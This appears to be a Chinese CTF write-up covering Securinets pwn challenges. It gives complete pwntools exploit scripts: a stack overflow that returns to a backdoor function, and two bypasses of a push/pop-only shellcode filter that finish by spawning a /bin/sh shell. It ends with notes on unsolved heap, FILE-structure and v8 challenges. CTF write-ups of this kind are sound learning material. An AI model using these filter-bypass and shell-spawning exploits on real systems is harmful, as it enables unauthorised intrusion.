0x00 前言 好耶,加进su了。花太多时间在那道shellcode上,没时间细看其他题了捏。后续加油复现一下
0x01 题解部分 zip++ check一下
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
vuln()逻辑如下,没看出来什么问题,跟进一下compress 其实当时我没看这个函数是干嘛的,用cyclic(0x300)测试能不能栈溢出的时候发现 最后停在了这里,观察16进制数值不难发现其中都是一个可见字符的hex + 一个数字,比如这里就是0x2 61(a) 01 73(s) 01 66(f) 02 61(a) 同时程序中存在后门函数 直接抄cyclic生成的垃圾数据然后稍微改改就行
from pwn import *context.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/main' elf=ELF(file) choice = 0x001 if choice: port= 9000 se = 'pwn-14caf623.p1.securinets.tn' p = remote(se,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) win = 0x00000000004011A5 debug('b *0x00000000040137F' ) payload = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafr' payload += b'\xa6' * (0x11 ) sa('data to compress : \n' ,payload) sla('data to compress : \n' ,b'exit' ) itr()
push pull pops 第一次见给python源码的pwn,有点被吓到,但是分析了一下还是做出来了。首先就是我们需要输入经过base64加密的shellcode,然后通过check函数
def check (code: bytes ): if len (code) > 0x2000 : return False md = Cs(CS_ARCH_X86, CS_MODE_64) md.detail = True for insn in md.disasm(code, 0 ): name = insn.insn_name() if name!="pop" and name!="push" : if name=="int3" : continue return False if insn.operands[0 ].type !=CS_OP_REG: return False return True
之后就会用mmap分配内存区域,然后执行我们的shellcode
def run (code: bytes ): mem = mmap.mmap(-1 , len (code), prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC) mem.write(code) func = ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(ctypes.c_char.from_buffer(mem))) func() exit(1 )
这题其实是非预期,用一些特殊的指令来绕过check()的检测,只要插入32位模式下有效,但64位下无效的指令就可以。
字节码(Hex)
32位模式下的指令
说明
0x06
push es
push/pop 大部分段寄存器的指令在64位下无效
0x07
pop es
同上
0x16
push ss
同上
0x17
pop ss
同上
0x1F
pop ds
同上
0x1E
push ds
同上
0x27
daa (Decimal Adjust AL after Addition)
用于BCD算术的十进制调整指令
0x2F
das (Decimal Adjust AL after Subtraction)
同上
0x37
aaa (ASCII Adjust AL after Addition)
用于BCD算术的ASCII调整指令
0x3F
aas (ASCII Adjust AL after Subtraction)
同上
0x60
pusha / pushad
一次性压入所有通用寄存器, 64位下无效
0x61
popa / popad
一次性弹出所有通用寄存器, 64位下无效
0x62
bound
检查数组索引是否越界
0xD4 0A
aam (ASCII Adjust AX after Multiply)
ASCII调整指令
0xD5 0A
aad (ASCII Adjust AX before Division)
ASCII调整指令
这些指令都能使导致 capstone 直接返回 None 在输入的shellcode中插入这些字节码就能够截断check(),后续写什么都可以,类似b'\x00'截断strcmp的效果 然后就是利用int3 来动调,简单理解,int3就是打断点,只要在shellcode中加上int3,gdb打开后按下c就会停在int3那里 参考了一下int3是干嘛的:探秘INT3指令
然后就是用push和pop来覆盖掉用来截断的无效字节,最后需要调整一下rsp,然后就是shellcode
from pwn import *context(arch='amd64' , log_level = 'debug' ,os = 'linux' ) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) cmd = 'python3 /mnt/c/Users/Z2023/Desktop/pop/main.py' p = remote('pwn-14caf623.p1.securinets.tn' ,9001 ) shellcode =''' push r11 pop rsp pop r10 pop r10 pop r10 push r10 push r10 ''' payload = asm(shellcode) payload += b'\x06' payload += b'\x90' payload += b'\x90' * 8 payload += asm('add rsp,0x800' ) payload += asm(shellcraft.sh()) print (payload)ru('Shellcode : ' ) sl(b64e(payload)) itr()
push pull pops REVENGE 与上一题不同的是,这题对我们的输入进行了长度检测
if code_len!=decoded: print ("nice try" ) return False
若依旧使用上一题的方法,就会出现decoded比code_len短的情况。这里本地gdb看了一眼,发现rdx中残留了一个05 考虑到远程环境和我本地的区别应该挺大的,就稍微改了一下dockerfile加了点料能让我远程gdb调试。 远程环境这个5是在栈上的,所以我一开始本地打不通的原因就是这个。回到正题,虽然说有长度检测,但是我们只要把非法指令放在最后就不用担心长度检测的问题,这里精心挑选了\x0f
>>> print (disasm(b'\x0f\x05' )) 0 : 0f 05 syscall
所以只要在shellcode的最后加上
>>> print (disasm(b'\x0f\xA1' )) 0 : 0f a1 pop fs
就能构造出syscall,我们能随意控制寄存器,所以构造出一个read还是很简单的,构造出来之后就能写入我们自己的shellcode了…这题简直是动调地狱,所以现在来展示一下自己写的这段shellcode到底做了些什么,首先利用read构造syscall得shellcode是这样的:
shellcode = '' shellcode += ''' pop r9 ''' * 16 shellcode += ''' pop rsp pop r10 pop r9 pop r9 pop r9 pop rdx push r11 pop rsp pop r9 pop r9 push rsp pop rsi pop r9 pop r9 pop r9 pop r9 pop r9 pop r9 pop r9 pop r9 push r10 pop r10 ''' payload = asm(shellcode) payload += b'\x0f\xA1'
为了方便演示,我们在开头加上int 3,也就是
shellcode = 'int 3' shellcode += ''' pop r9 ''' * 16 ...
然后稍微修改一下题目给的dockerfile
CMD ["gdbserver" , "0.0.0.0:12345" , "socat" , "TCP-LISTEN:5000,reuseaddr,fork" , "EXEC:/app/run" ]
build:
docker build -t my-python-app-debug .
run:
docker run -it --rm \ -p 5000:5000 \ -p 12345:12345 \ --cap-add=SYS_PTRACE \ my-python-app-debug
然后准备一下 python 解释器:
CONTAINER_ID=<container_id> docker cp ${CONTAINER_ID} :/usr/local/bin/python3.13 .
接着就可以启动gdb了
gdb-multiarch ./python3.13
然后就是连接
pwndbg> target remote localhost:12345 pwndbg> set follow-fork-mode child pwndbg> c
然后新建一个终端
连接后就能看到程序正在等待我们输入shellcode,因为要求我们输入经过b64加密的,所以可以用
直接打印,运行一下然后复制下来贴上去,类似这样吧 然后回到gdb这里,就会发现停在int 3这里了,后面就是我们的shellcode ok,首先就是我们开头说的在栈上残留的05 我们开头的shellcode
pop r9 * 16 pop rsp pop r10
就是为了将05 pop到r10里面,效果如下: 接着的
是为了凑输入长度,属于垃圾数据,我们来看一下shellcode区域上的内容: ,因为我们在开头加了int3(0xcc) 实际上打远程的时候会去掉这个int3 ,所以看起来应该是 不难发现我们最后加上的b'\x0f\xa1'的a1被挤出来了,我们只需要想办法往那个位置push r10,也就是把a1覆盖成05,这样我们就可以得到syscall。这里为了方便调试,我们直接在gdb里面用set指令给rsp手动加1,模拟远程的情况。 紧接着的
是提前准备好read()的第三个参数,效果如下 随后的
是为了让rsp指向shellcode区域,为了后续的push做准备
pop r9 pop r9 push rsp pop rsi
两个pop r9用作调整rsp,然后是设置rsi,这里设置rsi放后面一些也可以,当时考虑的是因为前面rdx比较小(read的长度有限)所以就把rsi放得尽量后。 接着就是一系列的pop来调整rsp,接着就是push r10,0a覆盖成05
pop r9 pop r9 pop r9 pop r9 pop r9 pop r9 pop r9 pop r9 push r10
效果大概是这样 可以发现,后续的指令就变成了syscall了 而最后这个pop r10单纯是用来填充两个字节的,不然会卡住没办法执行下去,然后大概就是构造了这样一个read出来 输入的位置距离下一条指令的位置为0x39字节,所以先填充一下,剩下的长度找一段比较短的shellcode即可。 打远程直接去掉开头的int3就行了。因为把握不好shellcode的长度以及不能很好的控制0f0a的位置,所以造出来的shellcode看起来有点冗余(?)不过好在还是做出来了,所以就无所谓啦。完整exp:
from pwn import *context(arch='amd64' , log_level = 'debug' ,os = 'linux' ) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) cmd = 'python3 /mnt/c/Users/Z2023/Desktop/pop_r/main.py' p = remote('pwn-14caf623.p1.securinets.tn' ,9090 ) shellcode = 'int 3' shellcode += ''' pop r9 ''' * 16 shellcode += ''' pop rsp pop r10 pop r9 pop r9 pop r9 pop rdx push r11 pop rsp pop r9 pop r9 push rsp pop rsi pop r9 pop r9 pop r9 pop r9 pop r9 pop r9 pop r9 pop r9 push r10 pop r10 ''' payload = asm(shellcode) payload += b'\x0f\xA1' ru(': ' ) sl(b64e(payload)) final_shellcode = ''' xor rsi, rsi push rsi mov rdi, 0x68732f2f6e69622f push rdi push rsp pop rdi mov al, 59 cdq syscall ''' final = b'\x90' * 0x39 + asm('add rsp,0x800' )+asm(final_shellcode) print (len (final))pause() s(final) itr()
V-tables (待复现) __int64 vuln () { printf ("stdout : %p\n" , _bss_start); read(0 , _bss_start, 0xD8u LL); return 0LL ; }
程序逻辑非常简单,能够让我们劫持stdout结构体,但是后续没有函数触发。。。如果参考之前pwn college的劫持stdout的话是用puts / printf 来触发的。而且这里还写不到vtable,emmm实在想不出来怎么做
spell manager (待复现) 这题跟push pull pops REVENGE是一起上的,但做那题就花了我一天,来不及看这题了 简单看一眼,是个ubuntu:24.04的堆题。其中delete这里应该是有UAF 然后申请堆块是用calloc申请的固定大小的堆块 哦还有feedback这里 虽然申请堆块的大小能自己控制,但是free之后把指针清零了,没法UAF。后续再来研究一下这个题
Sukunahikona (待复现) 是个v8题,但对v8没概念,也就不太能做出来,但收集了一点信息。先是根据REVISION中的5a2307d0f2c5b650c6858e2b9b57b335a59946ff去chromium review搜了一下。然后找到了chromium-review 但这个好像只是一个commit,尝试顺着找对应版本的cve,但是没找出来。。。看不懂的东西太多了大脑有点宕机。。。后面还是转战 push pull pops REVENGE了